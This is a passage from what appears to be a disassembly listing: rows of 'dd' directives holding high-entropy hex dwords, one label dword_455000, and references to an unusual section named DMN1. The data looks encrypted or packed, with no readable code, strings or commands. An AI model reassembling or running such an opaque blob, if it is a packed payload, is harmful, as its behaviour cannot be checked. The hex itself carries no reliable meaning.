0FCE32CD8h, 8BC852ABh, 0D91D5139h, 0F1B3E88Eh, 5A1F5D37h dd 0D0B5C372h, 3528D1Ch, 0AF2D5B26h, 0A5C6CC4h, 9123D49Fh dd 43408D2Bh, 5A3912BDh, 0EF6C116Dh, 86D1F8A2h, 0D8622B4Bh dd 7CCA40A2h, 8B1A7B4Fh, 0D94B2EF2h, 0EE1C50FEh, 50856EE3h dd 0C283E6C2h, 788F468Ch, 0B95F926h, 9CD33B44h, 0CC2DBE90h dd 1C5D3B2Bh, 0EF202EBDh, 675E414Eh, 0DA3788B7h, 7F57EB62h dd 462840DCh, 0D875F490h, 0FCF32F38h, 8BE8516Bh, 0D9DD52B9h dd 0F133EA8Eh, 451F5937h, 0D6B5CB72h, 7529D1Ch, 0A72D7B26h dd 3A5C2CC4h, 0B122549Fh, 83418D2Bh, 0DA3B12BDh, 0EF68116Dh dd 86D9F8A1h, 0D8122B49h, 7CAA40A6h, 8B5A7B47h, 0D8CB2E82h dd 0EF1C511Eh, 52856923h, 0DE83E542h, 608F448Ch, 1B95FD26h dd 0FCD33344h, 8C2DAE90h, 9C5D1B2Bh, 0EF206EBCh, 675FC14Fh dd 0DA3688A9h, 7F55EB7Eh, 462C40C4h, 0D84DF480h, 0FD032F18h dd 8B88512Bh, 0D99D5339h, 0F0B3EC8Eh, 441F5537h, 0D4B5D372h dd 7B52ED1Ch, 0BF2D1B26h, 2A5DECC4h, 0D122D49Fh, 0C3428D2Bh dd 5A3D12BDh, 0EF64116Ch, 86C1F8A0h, 0D8022B47h, 7C8A409Ah dd 8A9A7B5Fh, 531D7D51h, 67107562h, 0B38D8250h, 0DA7F88D7h dd 0ED49CB9Ch, 0E26185D0h, 92BE91B4h, 0AEDB1F56h, 2C64CBA7h dd 0DCAAAEBCh, 125F7AF3h, 533677A9h, 6FBB2A8Ah, 465FBFE9h dd 1B1EAAB0h, 0FC152710h, 0FBBDAFFBh, 194D5445h, 0A3D667DBh dd 4619595Fh, 0AEA02462h, 1542FDE0h, 0BF68B027h, 97934494h dd 0A878549Eh, 0B2B4EA2h, 252F13B4h, 0EF9C6979h, 0DD1171B7h dd 0D05AE818h, 827A4198h, 8A260F42h, 0FFBFD1B2h, 0BC4AB95Ah dd 26DC68A3h, 0C682ED4Ah, 0ECF75573h, 1356E526h, 2CD22564h dd 0F05C5B6Eh, 5F9E4B2Ah, 6EC667E6h, 6759C19Dh, 8D62DBADh dd 2D21D47h, 0C22B40FCh, 0D85DF402h, 2DCDA30h, 0F75DAF54h dd 0E70D55C5h, 0F04C1F71h, 4693C938h, 0F8DDA372h, 8C42CC1Ah dd 8FD0AF33h, 0C620E1D4h, 19542BC9h, 43458D43h, 5AB49FB2h dd 0BF83EE90h, 86A0434Eh, 0C8E6A843h, 86CB831Bh, 8A1A7BD0h dd 0DA2110C4h, 129CD2F3h, 0A0D568E3h, 0D283A7E2h, 0DE0607D5h dd 1C99F4ABh, 91DB6EBBh, 9A7C61D2h, 1C0C30C2h, 0FFE7ADB3h dd 0F0E82FBh, 0CA3B6CCDh, 7F1DF09Ah, 104119FCh, 0D8055738h dd 0EED877B8h, 7468D2E6h, 0B28DA946h, 1F3306ECh, 414EB6DFh dd 0B6ECF272h, 6753DB3Ch, 7B54EED9h, 0A4023CC4h, 6CCCDDC5h dd 857DE5E8h, 0CFCC02B3h, 0FF78ED1Fh, 6370AD66h, 88C2C7C2h dd 2DDA051Bh, 76DA6ED8h, 59AD3F42h, 6010AEE3h, 0AEC0D024h dd 2B68F942h, 6B1E34h, 0EC9ADE36h, 7383EF01h, 0DCD62B26h dd 64182C25h, 0EF23620Bh, 9EAE5873h, 9F8D87F3h, 7F2952BEh dd 0B18540E4h, 6CA2A639h, 0F213D8DDh, 0DBFA129Ch, 0DA791F51h dd 6C61B9Eh, 404E9ADFh, 0F8713072h, 36BDA447h, 7AA5CEE5h dd 0D236BF94h, 0AE30D598h, 0C3BAF93Eh, 0BE757AA2h, 9A8B016Eh dd 0D71B10ACh, 829B2B7Fh, 0A68F8303h, 0CC17674Bh, 260EA642h dd 0EFE02341h, 0ACD66716h, 2A83BA52h, 5B839E0Ch, 0ABC1B6CEh dd 64BB5243h, 0B33C1F97h, 1CA18338h, 3ABF5A2h, 0EE0C8229h dd 0D2D50B46h, 22C0BD19h, 0B908ABE4h, 0DB55E4FDh, 0D438FE8h dd 0BFD746EBh, 0DA5B083Ch, 0F01B0E9Eh, 0C046BEC8h, 2245AB4Fh dd 0B0243D0Fh, 9644CACDh, 725EACC0h, 8ED8A97Ah, 13520672h dd 53271243h, 0E920846Ah, 0BD69E8AAh, 98F55E5Fh, 5F150548h dd 0CC1C7FDCh, 0B0480F9Dh, 1BD5626h, 0CB956A53h, 330AEE12h dd 208FA89Fh, 0EB10B1ADh, 57C30245h, 842F8497h, 161E9D2Bh dd 9BE26AB2h, 981FFB7Bh, 0A7B981D1h, 7F4DEBBEh, 0C6F23C94h dd 0AE9F0B9Dh, 0DF58AED1h, 638B52DEh, 0E09D1A38h, 8D498CAEh dd 4B6CBD0Ch, 0D0A5BEF1h, 1F711D1Fh, 9F3CFAA7h, 0AEDD7CC3h dd 9021841Bh, 18168D3Ch, 9974FE3Ah, 6EA9983Ch, 86106846h dd 0BDB4787Bh, 0F0CA4239h, 76E40B8Ah, 62447F8Dh, 9FF4063Dh dd 0C9856AA9h, 56756B04h, 393430A4h, 0FB101427h, 0CC2F04BDh dd 9CEF899Eh, 1C1454C5h, 6AE4A7B1h, 565E3580h, 0B2246367h dd 6F470F64h, 0B9F52A74h, 0D05EACEFh, 0FD972D50h, 75B5BD7Bh dd 0EA84A546h, 566DBA4Eh, 8E4555BEh, 26FFCE9Ah, 27912C1Fh dd 82A52EE5h, 0BC347F93h, 0B34C55F4h, 8303BAC4h, 5BE89BB3h dd 10B7EE92h, 0B71D8D56h, 1CC4C0B9h, 0D52ABCC3h, 8D307A15h dd 84376A8Fh, 170C5276h, 0BD7A0D23h, 0D6D0ED42h, 208F1E9Dh dd 1B69D8E1h, 96D1E1EBh, 7069A395h, 8C58737Dh, 104A6EB0h dd 345BC188h, 0DA777D31h, 83002C5Eh, 460C4085h, 9E00F16Ah dd 0F5E971E4h, 8877AA43h, 750839h, 85B3FCC7h, 0A091EEEFh dd 0ADE0502Fh, 31023DFAh, 152D7120h, 0E3E104C1h, 12AFD49Eh dd 3CB576ADh, 5E58ED4Ch, 8EAFD159h, 6E0DBDC1h, 52822B74h dd 79E0BCBFh, 0D8663E92h, 0D45B2A7Ah, 0EBE33F3Eh, 94D66563h dd 3A83A554h, 0C08717E6h, 62959125h, 0D8BA1706h, 1CD09B1Ch dd 1C4E7D44h, 10DAC6B0h, 8F084178h, 0DA3DC1ADh, 2C02B6Bh dd 0D30F409Ch, 27C07CE0h, 0B81E2512h, 80C20417h, 0D4A2A3D1h dd 5BDBAD8Eh, 0C618B17Eh, 0C63CC0AAh, 0D604BE42h, 0FC7F6BC3h dd 1F36A49Eh, 0F126BC8Eh, 0FF0E042Ch, 9FA216DAh, 0EA284194h dd 0EE09F8BFh, 0DBB2D48Ah, 3B42A8ADh, 0CDB37B17h, 0D7C8C72Eh dd 0E959DE5Eh, 3B0860C9h, 30EBA3BEh, 0B88F509Fh, 0FB956AD9h dd 75D80B10h, 0CC1DCE92h, 9C4A26AFh, 66F57BB8h, 633E3D3Ch dd 8AC0CD50h, 8029E33Ch, 1504404Bh, 0DBD51CC8h, 112A7A58h dd 0FCB797F6h, 35F5591Dh, 3AB3F0C6h, 1BDBEDF7h, 0C43486FBh dd 53514C13h, 12A08D75h, 0BEFAEFCBh, 11DA2B60h, 0BDB428AFh dd 0D921ED4Fh, 10A2EDCEh, 3BB2F851h, 245DD58Fh, 0F95C33B2h dd 77E4866Ah, 0D61BACCDh, 0E4E0DEF7h, 0E40C631Ch, 0CD7CC247h dd 2C0D0370h, 9B6A96D8h, 1CBA5B29h, 32D77B1Fh, 760044D3h dd 0A7B1C6B7h, 0A1E5417Ah, 0AE2C705Ch, 0AE96E59h, 0AD7871B8h dd 9BD5C453h, 1E3A7BE6h, 73D8836h, 5D8E0E5Ch, 6B630ECBh dd 391CCF48h, 0E6BD1E8Dh, 9751157Fh, 3FA838AFh, 0F15C583Ch dd 0B87FA8D8h, 0D68ED0C2h, 36A0F73Dh, 0FF324273h, 0C3B4F8B7h dd 9EBA7A61h, 0F12A5F67h, 4F3C75A3h, 0D6C9D287h, 92100D15h dd 0CD8A6B66h, 0E6D3D107h, 0C088C4A5h, 29D0E440h, 16200ECEh dd 0F9D4BD82h, 0D44E7324h, 17BA6EB6h, 5669B484h, 0EBD16311h dd 0F646AA6Eh, 137F0348h, 37EE6CC9h, 0E2A94B88h, 0CB857B41h dd 2575EFC9h, 81B334DEh, 0BF7E29F3h, 0CB88337h, 243E894h dd 68186F63h, 83F8FC86h, 51349347h, 312B0448h, 30154F39h dd 9A2B4272h, 0C6F510D4h, 25C12A8Fh, 470E2AD5h, 0B69992BFh dd 6F106212h, 6DDF1552h dd 0B1EF7AEAh, 628BB53Dh, 0C888CD33h, 2FE8A1A0h, 5F3B8B70h dd 116B5EA7h, 0F9D9AEE4h, 0BC2C43C5h, 0D7D2CCAh, 2A940613h dd 2F91017Ah, 82335CACh, 9EA2EB7Ch, 35D31208h, 8E3886AEh dd 0A4D0E0B9h, 0EE76FB7Eh, 0EE6F767h, 553B937Ah, 4CC4BD1Fh dd 28EC40A7h, 1FD5533Ch, 73B094ACh, 585155A7h, 19FAFE3Ch dd 6DB59837h, 0D67AEC2Fh, 0CF2FA1DAh, 0E9E60AA5h, 58BC7955h dd 9BCB22E1h, 0D41C22CEh, 1ED56EE6h, 6839772h, 96844C0Dh dd 396520E3h, 5095847Fh, 0C2B8E9Ah, 11A0A6B2h, 0B8680310h dd 8F66B342h, 0DAD0CC73h, 81982E2Fh, 0B94BA4ABh, 1B4C8B15h dd 0A7680333h, 7B8DE9A7h, 6612F3B0h, 0E9E25ACBh, 7A199A3Bh dd 99BB4A14h, 0D812D2EFh, 6C4CB7AFh, 5841E596h, 0CCD883CBh dd 535D0623h, 5B130F5Eh, 0BDFC6482h, 6BD98D3Dh, 0DE626C61h dd 9E4F99ABh, 5B997C30h, 0A040C90Dh, 0CBEF4909h, 9B5AE11Ch dd 1CDCD686h, 2D4BDBD5h, 5DC69CA2h, 8C8DB029h, 171A6105h dd 1C3B1BD8h, 0E34DD03Eh, 8F663351h, 0DAD7CDC5h, 89922E6Bh dd 0B1814AA2h, 0DA79C51Bh, 0FEB69EC8h, 706D926Ah, 9542EC6h dd 5C69F4D1h, 80908CF4h, 9DEF9D21h, 58C58D42h, 87FAA017h dd 0C4F72CA9h, 0C4AD58E8h, 0C5596527h, 1DF212B5h, 0FE96E7F8h dd 0C6520FE8h, 57E22B85h, 9BAB5363h, 4F2586C2h, 0D694FA0Bh dd 1ADF1445h, 44D67CAAh, 52DE4E14h, 8B98F905h, 0E4951736h dd 383230Bh, 0C9C3A6F9h, 15511B75h, 90CEEAAAh, 98A745AAh dd 2DFF8082h, 80901BFFh, 32785BBh, 8013DF90h, 0A550D445h dd 0FB77971Ah, 0F275FF1Dh, 89B2ACC8h, 9BE254F4h, 61472C8Dh dd 0DF381202h, 0F907F32Ah, 0ED2CECC3h, 0D4272218h, 28DD45ACh dd 573B99BEh, 0EE6F11F7h, 5B48FA2Bh, 8BC171D9h, 8409BA93h dd 0F8CC2A4Bh, 54B4882h, 0A44CB97Bh, 0C85D7D7h, 3C8F0040h dd 6A78C749h, 87D0B62Bh, 0DCD02B6Eh, 0C1DA0301h, 4F019777h dd 733DA93h, 676F031Eh, 24564DE2h, 4E179D05h, 0CDBBB10Ch dd 9ECE8CE5h, 0FC119E8Ch, 0DF5A255Ch, 0D2186751h, 1067258Eh dd 561B5851h, 41E69BB2h, 3C111196h, 36F4B273h, 0DBA1A82Fh dd 3707079Ch, 0FCDF8DAAh, 0DB1713B5h, 63E01F78h, 7C35E442h dd 5BDA827Ah, 0E46A6F5Bh, 6D2199D2h, 0BC23B25Dh, 14E336A1h dd 930B5B2Ah, 0A97230BFh, 0EB680505h, 93CD8AD4h, 3CC06614h dd 815C8804h, 636D5BB7h, 0EDD3BF9Ch, 8078C635h, 232B7C9Eh dd 0F21D2C75h, 0C7FF042Ch, 0BE9EDD4Ch, 3FA0F2D1h, 181E33A7h dd 0D115A0B2h, 1FB6A02Ch, 3392CD34h, 1C1A2078h, 0F34CCD1Fh dd 0BE1886A5h, 40A9E57Ah, 11A8543Dh, 3F2492EEh, 0A314933Eh dd 0DF032C7Fh, 8F56D0Fh, 55D69F0Ah, 951FF602h, 0E796432Eh dd 870E294Ah, 4219F771h, 0BE8C48E2h, 0E98B413Bh, 9164CB05h dd 0B7E08229h, 978B1FF7h, 452A86C8h, 59EA4377h, 6D3F5373h dd 2868BEB7h, 0DFDB72EEh, 0FA73E8F2h, 0DFC304A3h, 0AE96DD3Ch dd 5FB0F331h, 583E347Bh, 59D5B332h, 1F36A217h, 65A14235h dd 97B8AB7Ah, 0F295F26h, 0A576E36h, 4DAA11E0h, 0A854E084h dd 0D6ACB224h, 0D489F0B6h, 0FA7321C9h, 77ACE57Ch, 0E446D208h dd 0D01006EAh, 1A599CACh, 5ABD6F17h, 7CFD8B17h, 7F2B8B9Dh dd 5A0C42BFh, 0B6136C8Fh, 0DDB93EEBh, 2FABC3F6h, 7748E67Dh dd 0D69A6377h, 26FE5672h, 1FE277AFh, 10400269h, 480DE8CAh dd 0E41552B1h, 0AAD84C7h, 1A1848C5h, 9ACB3AC3h, 1CD12BBh dd 1AC6CD29h, 15F1CAD2h, 4547574Ah, 0CB2419EAh, 7710863Eh dd 145AE2FBh, 3DD6EC65h, 525B36Bh, 6A29518Fh, 11BD13A5h dd 87E6AC4Ch, 5E8974B0h, 0E1559B87h, 12E6067Ah, 63C863A9h dd 0D69D0B78h, 4F4B4052h, 0B04F403Ch, 442695CAh, 747500D4h dd 875583A6h, 0B4519DCEh, 0CEDA134Eh, 423C266Ah, 2B6D2A55h dd 225F0261h, 0C60BE8CAh, 0EFCB0415h, 4966DD2Eh, 7B774A0Fh dd 8B44D4CCh, 0F8B5F72Ah, 47CD5A9Ah, 953D22A0h, 39E15705h dd 0AC58B2Ch, 0C046D396h, 0F1AD4B08h, 7513EC5Ch, 6766367Fh dd 253E571Bh, 2A7AB881h, 87BB1EC7h, 0CB303735h, 6C542231h dd 95E49467h, 0C62A0B32h, 0B7E9CEDEh, 0F5AB10AFh, 9E968CCBh dd 0EADBA978h, 6D798833h, 4254897Ah, 1B9A0EC9h, 0A728DA75h dd 28BAEF62h, 0EBE33F24h, 0F4260827h, 48830BB3h, 11D1D286h dd 2ABD9F43h, 0AC259B85h, 8CB23BFh, 172EB3AEh, 6244201Ah dd 9D5C4010h, 3FFCEB50h, 0FC585F5h, 0E6454213h, 0DDF64997h dd 990DE9ABh, 0C631CD6Bh, 0DA7BC03Dh, 0EE06BA87h, 0B2FFEECAh dd 0A141937Bh, 1494BF02h, 96D33917h, 75FF4B21h, 0F832B101h dd 0AEBF658h, 0A810A8C3h, 0C6A39414h, 1BCE7F29h, 7EF89D72h dd 0F0E8F90Eh, 0EB4CBBBh, 0B2FDAC65h, 301EB056h, 0A6AA7437h dd 5CED0098h, 320B5AE5h, 3C7303F1h, 76C419D3h, 0E7803739h dd 3BCDF7C5h, 0E2CD5002h, 0EE150E62h, 12B8B0BBh, 54B388A4h dd 6710853Ah, 0EBC15AEFh, 4EADB434h, 8FE13B5Fh, 0B7C0421Dh dd 11F9437Dh, 7FE974FAh, 654C9D46h, 9552460Ah, 0EC5B2C3Eh dd 61715206h, 33ABFE1Dh, 83B7CB7Ch, 0FA1290AFh, 467107h dd 0A15968D4h, 0CE6EE30Bh, 699A22C8h, 0B5FA1347h, 3345909Dh dd 0FD36D217h, 2B3B0234h, 4556E023h, 0F6D1D1B2h, 0C195F576h dd 0D4E51AD0h, 4F886737h, 0D89D0B42h, 0DC37B110h, 9324CDE2h dd 1AB8A83Bh, 24845DBBh, 7F11F6B7h, 0DF539C52h, 0BFB831BBh dd 9ADA469Eh, 1EFEB8A1h, 0DD061182h, 7C027F20h, 0AD0BE948h dd 969418F3h, 1AB7041Dh, 4DD72F47h, 0F0684F3Ch, 4F046AABh dd 2AD3CCC2h, 6B3AE678h, 0A4109C29h, 1D12662Eh, 6A3336DDh dd 42D184CDh, 0CEBCC96Eh, 4B69DC29h, 0EF6A847Ah, 0D76BB835h dd 6E905A06h, 0A57A749Ah, 0D2B4FDCh, 655798CBh, 0EC5DF62Bh dd 69CDA730h, 872A3593h, 9547524Ah, 56401A3Ch, 75EF02A1h dd 0E2E093Fh, 0F3970490h, 0CBA6B920h, 0DB9552B7h, 187C4F78h dd 819295BBh, 2CC3674Ah, 81478B3Dh, 6E5965ACh, 1BD27A1h dd 0C467C31Bh, 0A182C4A3h, 47CDD3A0h, 0FECB6481h, 5C374C72h dd 29BDA6F3h, 0AEE2FD72h, 56DA4C8h, 7434E3A6h, 7D663950h dd 0A0890071h, 1B032FA9h, 714CD9E5h, 6A9D1714h, 0A7559385h dd 0C14A0D26h, 0E14D0B62h, 0F3E2C119h, 91E636F7h, 97B46C43h dd 0A6B3CACEh, 0AC97E992h, 8B4D0932h, 92AF9C8Fh, 3EA6B224h dd 4407B834h, 11053884h, 83FCEC7Dh, 49FCE5B3h, 96E80692h dd 18AA7C6Ch, 76CC9EF5h, 0BBEA4603h, 8FA2671Ch, 50CA5635h dd 0B2CF32FBh, 5E6AED47h, 36D518F3h, 6895E465h, 8A1038CDh dd 0B22152E1h, 44F761A7h, 52B6B275h, 0A254EEB1h, 6D7DD3F1h dd 0FFE9C576h, 0E0A16245h, 604D4CBh, 9D22F727h, 5AE04D4Bh dd 5D9ACA9Dh, 0B2FD23C2h, 9E1780D8h, 92D3DC99h, 7ACFFCABh dd 0CE4416A4h, 0F6DAAED7h, 0D3064640h, 1107709Bh, 973C0F02h dd 289AC18Ch, 0E9FC8F53h, 0C2A6E767h, 0D7393194h, 631C4B96h dd 8768F2AEh, 68BFA13Eh, 823CCD89h, 9914EFECh, 0E5A14379h dd 0B0CAEC4Ah, 81D31832h, 0BEF4E404h, 817A4FB5h, 6E738FA6h dd 0E3DDF8CFh, 0FFCCD383h, 4DEE8774h, 97047084h, 58B6774h dd 6F5A9122h, 0D531A57Bh, 1559A098h, 1BE8AC8Fh, 0B05996Bh dd 0D3D4027Dh, 1E5DE91h, 1513EE1Bh, 0F6CDE832h, 0D873B685h dd 297A45B6h, 0EF8E2DCh, 5B468A8Ah, 0E442DC83h, 0FBF6873Ah dd 595A75D3h, 0F091BF42h dd 54B69BA7h, 0F237A998h, 0E4B19F4Dh, 5EFE0DAAh, 30C24B7Eh dd 17F413DAh, 53CFB58h, 3030AF62h, 8E2DC696h, 5D0EF7E4h dd 9A24B830h, 5C42B2EDh, 5EE67F02h, 16159F92h, 7D54DAB7h dd 9C5C08DFh, 18CC265Dh, 659AE7E6h, 3AB5D5C0h, 1F4C3DE1h dd 28E2C7EDh, 0F4E40FDh, 0DD5D414h, 53DA40DDh, 0DB90E525h dd 1CC8BF62h, 0DAA18B1Ch, 1526F2FCh, 0E4102EAEh, 12C0A72Ah dd 9DC6E7D9h, 236D77D1h, 0A05BBCBh, 5DD4CF53h dword_455000 dd 585D3771h, 0CA6B251Ah, 0E581437Eh, 0C2028C4Eh, 8623D43Eh ; DATA XREF: DMN1:00442FA0o ; DMN1:00453478o dd 7E33EDEBh, 0BD45D1h, 0C2E0DEEAh, 62BFEB44h, 0ADF7D9E7h dd 0A569D576h, 526A1531h, 25CAA4B7h, 0E07BF4ABh, 0EE4DDBDDh dd 98DA4967h, 2E052BAEh, 43B32174h, 6F218579h, 80C34919h dd 9393FFC0h, 63DA3F85h, 9B42B0B9h, 7A1566h, 64F79F2h dd 5E30C9B5h, 68C791ADh, 0EC600E9Fh, 6172F7F6h, 202EEAD4h dd 89EF4B68h, 47942203h, 1068E82h, 0DD8A3DA8h, 46937BBDh dd 9FBC35DEh, 0D5B1FBB1h, 0BDB7D88Ah, 93AC5D3h, 0FAB74B50h dd 55EB391h, 3C7D99B8h, 3F74EA18h, 28A31AC3h, 23E865AEh dd 0C1D582DFh, 6ECD591Bh, 0D8090E1Ah, 0B331FD0Ah, 0C02A8DC5h dd 0A7107F54h, 7E281980h, 0F4DD2C15h, 0F6DAEC3Fh, 269E5C85h dd 2A7AAAF2h, 0E53BF9F1h, 3B334748h, 0EA154BA4h, 94D246BCh dd 614D6E01h, 36D84E1Ah, 0E66ED2DDh, 0C594E61Eh, 0F1B22C9Eh dd 0D7D302D4h, 353268BDh, 0CB62F9DBh, 5E500B16h, 0CFBB4F16h dd 8C732DD7h, 0AE800096h, 7150098h, 3475A51Ah, 39BDF50Bh dd 528016A5h, 600B6730h, 0B7C2F728h, 9BE16602h, 111EEC5h dd 7B6DDEDh, 84B31A7Fh, 5743D4EAh, 0D45AF074h, 82935782h dd 0CF019028h, 7F2EFE2Bh, 0CABD599Ch, 87ABF9E8h, 0EBF02A2Ch dd 0F10439Eh, 94DA8CDAh, 0FFB8BFF4h, 0F848EA3Ch, 0D9A10131h dd 7FCFCCB6h, 545101D5h, 0ACAAADA0h, 4B013F17h, 0C627A17Dh dd 0B7BEBDBBh, 94352666h, 45FB355Ah, 25808B5Bh, 0B62CDB46h dd 9964D1E2h, 0C60309EFh, 5579DE4h, 0E5210128h, 0F1030798h dd 1B64F6FAh, 0ED15EF0Ah, 0B54A46A3h, 0F615256Eh, 0B72B0ADFh dd 0C82E01AEh, 78586E43h, 8A2017B0h, 0DF01BC31h, 65F210F3h dd 0AEA58A3h, 2AAD2683h, 0F0C6ADAh, 613F61DEh, 0D9503DFCh dd 0FBC99608h, 3A7CACFFh, 8885A0BCh, 77C4B9Eh, 0E619EFC0h dd 28D83759h, 1C43B89h, 0E16180B0h, 9ADD604h, 0F712DD6h dd 90820097h, 11A41E4Dh, 0BD51AC6Eh, 8CB640C8h, 757E90Bh dd 0D36C238Fh, 6C68C73Ah, 3F96F192h, 0C092F19Fh, 50FF263Ch dd 27C7CF78h, 0C99B8539h, 0CFE479DAh, 1746831h, 432265E0h dd 0FF9F5B7h, 0CC79C0ABh, 0A7B9F5E6h, 0A98DD9D3h, 867CAEC4h dd 0A0E788D0h, 0D4DC0672h, 26DC4225h, 2FF983B4h, 27BF1BDBh dd 871EFACAh, 0B47D8D5Bh, 7EFD5FF6h, 512838A6h, 5D7CC8EDh dd 5485A495h, 0AB8DB051h, 1D8E7DE5h, 0B72428F9h, 536CA56Dh dd 0C271C470h, 74626B1h, 0B34C3387h, 6C56CDF8h, 0A7752DF1h dd 0D592DF3Ch, 1833BC91h, 730E5F95h, 9734D5AAh, 0FBA28049h dd 65DB3BDFh, 0A1A52D67h, 0FF363982h, 0E6B3AE1Fh, 6CFC90B3h dd 909ED53Eh, 375F1E56h, 18DC447Ch, 0DD2574A7h, 16E01B15h dd 3AF5FEA8h, 9CC0C2BCh, 0BA079B71h, 59C9DDEDh, 0B2391B08h dd 0F3D79173h, 4D097F1h, 0C7BA8617h, 5A22988Bh, 7F73DEA3h dd 749ABE9Ah, 349756B4h, 3652B1E5h, 0B6BC27F5h, 0F6F73441h dd 15A11F69h, 0EA315B21h, 0F5D9419Bh, 34024DEh, 0A8118BC1h dd 0C39BCB76h, 3F5ECE6h, 0AEAF312Dh, 0E762D67Ah, 5F05F852h dd 59F4CD65h, 0F5002AE2h, 0EF297DFBh, 0EAF3A974h, 0E71A9BFBh dd 0FF95825Ah, 0B3975857h, 87C78236h, 0E8CF202Fh, 4B878A76h dd 0A8F4D1D7h, 5DC93415h, 1218748Dh, 0CBB59135h, 6A8DA317h dd 5CECB9DCh, 9EE98B9Eh, 2EC9D09h, 48F84E9Bh, 0BCA580B2h dd 94AC46B2h, 9290D0Bh, 0BB280851h, 51CED141h, 83E45D41h dd 5ECD4DA3h, 92D0C766h, 7B998929h, 12F32BE7h, 34DD8C6Fh dd 3C4E2DFFh, 0B1753C03h, 0E281A00Eh, 7CF61114h, 0A13E72E8h dd 1CC8EB9Eh, 81EC5822h, 75AF929Dh, 70D162CBh, 0F81775B3h dd 57513ABCh, 0E39DC88Eh, 23F74676h, 522D8298h, 13080E8Fh dd 2494DF5Dh, 4376262h, 0D885392Ah, 89078B09h, 0EBC9144Eh dd 0CDD29966h, 12437BECh, 6CE31601h, 0BF37981Ch, 0E6728D41h dd 0D24C431Bh, 7946DEBh, 5F477EC6h, 27CDE4CBh, 3649652Dh dd 8DF6654Eh, 14DAFD7Bh, 0BCD75C1Fh, 1FFB1893h, 0B795DC89h dd 83F24F82h, 5A185BEBh, 394B997Ch, 9125C8E7h, 0ED1A9E72h dd 660C65F6h, 0FE588F6Eh, 4A1CD13Ch, 381692E2h, 92BC072h dd 65C90586h, 3EFDB3DDh, 4409C4C8h, 0DF10BC09h, 49F82EC6h dd 0C8170B67h, 7A38173Ch, 0DC534A58h, 0A076DCFFh, 2DF2ECB3h dd 20E86467h, 2AD992E2h, 28BFBB7Eh, 72E6C02Eh, 59B8EAE1h dd 67B78B70h, 0A1D3EE21h, 455D492Dh, 31571A95h, 7CD64979h dd 0C21DD07Ch, 10371884h, 0EB401F16h, 0B19C386Ah, 69B67CEEh dd 6FB92F87h, 41B858FDh, 9AF41C12h, 8996467Eh, 0AEE3AEA6h dd 21AD57DDh, 8DBA9DDBh, 8C44CE08h, 0C1976EE7h, 1CD6E7BDh dd 0CF58ACE8h, 816E3985h, 34EE8B9Ah, 2DC582C2h, 44F3099Ch dd 0ED8D7CBEh, 0BD774CE3h, 89886573h, 0AE5A02F4h, 2CB2BA93h dd 941CF9F5h, 0A5A8800Eh, 4B0EE7h, 0BC4D8DBCh, 0C4E0EF2h dd 0B9A802A5h, 0D32820C8h, 5B68B12Bh, 84CD3088h, 85C40AECh dd 5EF7CEF6h, 964F8905h, 91955B0Ah, 0F00E02h, 895273FEh dd 1C9576h, 0A37911D3h, 966D28Eh, 8EC4B141h, 994EEB17h dd 8358D18Dh, 0FFA26ECAh, 78FCBF61h, 128FB053h, 0BBB90001h dd 0C34A8ECFh, 7944D1FBh, 430CE71Dh, 0B46C5F24h, 0F0A899EFh dd 0FF03222Bh, 0FB64E89Ch, 0E371C1A3h, 0C0A881DDh, 5F546161h dd 62EF6336h, 4BA6A005h, 31D236C3h, 2342EEF0h, 0DB03916Ah dd 0E1CD0460h, 96ECBFEFh, 0B19E3E61h, 9F374877h, 1A0BFC63h dd 0E3344366h, 0FD3BC1D7h, 6714A0E7h, 0F58B75CAh, 0C604C571h dd 7083852Bh, 91E1B03Ah, 0CC48322Dh, 2549A3BCh, 0F8E62C3Ah dd 1C45A081h, 0D01EE70Eh, 2BC182D3h, 590B5A9Dh, 0F10194F3h dd 522A1920h, 0C73DBEFEh, 64E20522h, 41F0504Fh, 0E4195492h dd 0A8A7E97Ch, 0AC1808ECh, 4FECF928h, 0CE61C981h, 7777F9C5h dd 0C64ED4EFh, 0D0653A36h, 88DDFCDFh, 0E5112965h, 0A572C47Ah dd 96433894h, 96409B8h, 0D60C39CEh, 8AEDAE81h, 0B62E2CE3h dd 0F8165D05h, 0DF975B4Dh, 0C7E03A7Bh, 0B1A1EF6h, 0AD2C02C8h dd 6AA0ED3Dh, 0C0092F23h, 0BE73815Fh, 539D639Ah, 48C6E8C3h dd 36A6B141h, 46E9F4F0h, 0EEB26374h, 0A668617Fh, 0DC79EF6Dh dd 5BB1AB3Fh, 301D4A51h, 0C8B06D4Dh, 0EA943222h, 98D05F1Fh dd 972F19D7h, 67044A74h, 8F0CB7CDh, 27044B7Bh, 5E40E903h dd 83132ECDh, 4E50AD42h, 0ECE47AC9h, 0A0768BA7h, 0A7F37A02h dd 7757D2F6h, 3C93D733h, 0CB710143h, 3A5E0DA2h, 6D9E78D4h dd 96E9437Dh, 0CAA712E1h, 0BF3A6B0Ch, 0DA57AF50h, 3E049315h dd 75FA67E7h, 0D7CEE8C3h, 8FAC30D5h, 0B1280C0Eh, 0C63DE173h dd 628B6541h, 655A9C82h, 0C4B2B983h, 0DA71C072h, 73A8867Fh dd 0BDA30358h, 86EF90BEh, 0EE65CDD0h, 605FF0F2h, 0C18D1A86h dd 0D12B2E84h, 9A0D1D01h, 0F63DD518h, 0E2992EFAh, 0A93A86A0h dd 0BE49F10Bh, 7325CFA6h, 893EAC55h, 30464D5Ch, 0A175E903h dd 38140A8Eh, 518325A3h, 839C083Bh, 0ACD35E09h, 6F3CC109h dd 577D805Dh, 6BB80210h, 6BAA0B66h, 81AAEFB7h, 65B20C6Ah dd 2EE5C20Eh, 0B7F27C2Ch, 0A4618C83h, 9652FA8Ah, 223636E8h dd 327FFF72h, 550F893Ah, 0C58B4E2h, 711582Bh, 5861CFEFh dd 0B1D382A3h, 3314F332h, 0E2543AF9h, 6DAB617Ch, 8B61A8FCh dd 0B572853Ch, 2ABF852Ch, 51F3F6FDh, 0AA2C3E96h, 4C254DABh dd 30764BA3h, 0A115EE83h dd 7E53088Eh, 0C1DE35EBh, 816434Ah, 11A826C8h, 70A08BF2h dd 1708EF56h, 0B428835Eh, 3CC04CD1h, 69C92899h, 0F5B4B8BDh dd 154112E1h, 8A278A2Dh, 0A6A2632Fh, 0F4F5F8ECh, 28B2BB21h dd 45248326h, 0E5477922h, 3F2E89A9h, 136DEA41h, 3AA13D89h dd 90FE74E9h, 6A40347h, 0A4805E45h, 0E1CE592Bh, 0D340BEB5h dd 4927B0F4h, 96476B49h, 147531CCh, 7A1C4F32h, 0C045048Bh dd 589EC10Eh, 0DC21C6F2h, 341E068Fh, 1FE6BE9Ch, 0DD46FB38h dd 0A045B6E5h, 0C7CCB625h, 